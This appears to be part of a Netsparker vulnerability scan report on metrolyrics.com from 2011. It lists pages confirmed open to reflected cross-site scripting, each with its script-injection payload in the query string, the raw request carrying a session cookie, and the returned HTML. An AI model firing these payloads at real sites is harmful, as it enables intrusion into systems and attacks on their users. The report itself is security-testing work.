Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10429
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:50 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Miley Cyrus plays Lindsay Lohan on SNL News about Miley Cyrus" />
<meta name="keywords" content="Miley Cyrus plays Lindsay Lohan on SNL" />
<meta property="fb:page_id" content="81914997331" />
<title>MILEY CYRUS PLAYS LINDSAY LOHAN ON SNL</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Miley Cyrus","sectionURL":"miley-cyrus-lyrics.html","title":"Miley Cyrus plays Lindsay Lohan on SNL"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460910?"></script>
<div id="header">
<h1>Miley Cyrus plays Lindsay Lohan on SNL</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460910?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/922016684MileyCyrusProfile.jpg" alt="Miley Cyrus" width="166" />
<h2><a href="miley-cyrus-overview.html" title="Miley Cyrus Overview">Miley Cyrus</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=922016684" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/miley-cyrus/922016684/0">
<li><a title="Miley Cyrus Overview" href="/miley-cyrus-overview.html" >Overview</a></li>
<li><a title="Miley Cyrus News" href="/miley-cyrus-gossip-news.html" >News</a></li>
<li><a title="Miley Cyrus Awards" href="/miley-cyrus-awards-featured.html" >Awards</a></li>
<li><a title="Miley Cyrus Albums" href="/miley-cyrus-albums-list.html" >Albums</a></li>
<li><a title="Miley Cyrus Lyrics" href="/miley-cyrus-lyrics.html" >Lyrics</a></li>
<li><a title="Miley Cyrus Videos" href="/miley-cyrus-music-videos.html" >Videos</a></li>
<li><a title="Miley Cyrus Pictures" href="/miley-cyrus-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460910?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name="poll" value="5_18" />Yes! Love It</li><li><input type="radio&qu..
- /2011-rihanna-and-ciara-in-twitter-row-news.html
/2011-rihanna-and-ciara-in-twitter-row-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x000798)</script>
|
Request
GET /2011-rihanna-and-ciara-in-twitter-row-news.html?'"--></style></script><script>netsparker(0x000798)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10858
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:51 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Rihanna and Ciara in Twitter row News about Rihanna" />
<meta name="keywords" content="Rihanna and Ciara in Twitter row" />
<meta property="fb:page_id" content="81914997331" />
<title>RIHANNA AND CIARA IN TWITTER ROW</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Rihanna","sectionURL":"rihanna-lyrics.html","title":"Rihanna and Ciara in Twitter row"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460911?"></script>
<div id="header">
<h1>Rihanna and Ciara in Twitter row</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460911?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/373707204RihannaProfile.jpg" alt="Rihanna" width="166" />
<h2><a href="rihanna-overview.html" title="Rihanna Overview">Rihanna</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=373707204" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/rihanna/373707204/0">
<li><a title="Rihanna Overview" href="/rihanna-overview.html" >Overview</a></li>
<li><a title="Rihanna News" href="/rihanna-gossip-news.html" >News</a></li>
<li><a title="Rihanna Awards" href="/rihanna-awards-featured.html" >Awards</a></li>
<li><a title="Rihanna Albums" href="/rihanna-albums-list.html" >Albums</a></li>
<li><a title="Rihanna Lyrics" href="/rihanna-lyrics.html" >Lyrics</a></li>
<li><a title="Rihanna Videos" href="/rihanna-music-videos.html" >Videos</a></li>
<li><a title="Rihanna Pictures" href="/rihanna-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460911?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name="poll" value="5_18" />Yes! Love It</li><li><input type="radio" name="poll" value="5_19" />No! But I will...</li><li><input type="radio&qu..
- /2011-carl-barat-says-libertines-wont-perform-at-glastonbury-news.html
/2011-carl-barat-says-libertines-wont-perform-at-glastonbury-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x00079D)</script>
|
Request
GET /2011-carl-barat-says-libertines-wont-perform-at-glastonbury-news.html?'"--></style></script><script>netsparker(0x00079D)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 9692
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:57 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Carl Barat says Libertines won't perform at Glastonbury News about Carl Barat" />
<meta name="keywords" content="Carl Barat says Libertines won't perform at Glastonbury" />
<meta property="fb:page_id" content="81914997331" />
<title>CARL BARAT SAYS LIBERTINES WON'T PERFORM AT GLASTONBURY</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Carl Barat","sectionURL":"carl-barat-lyrics.html","title":"Carl Barat says Libertines won't perform at Glastonbury"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
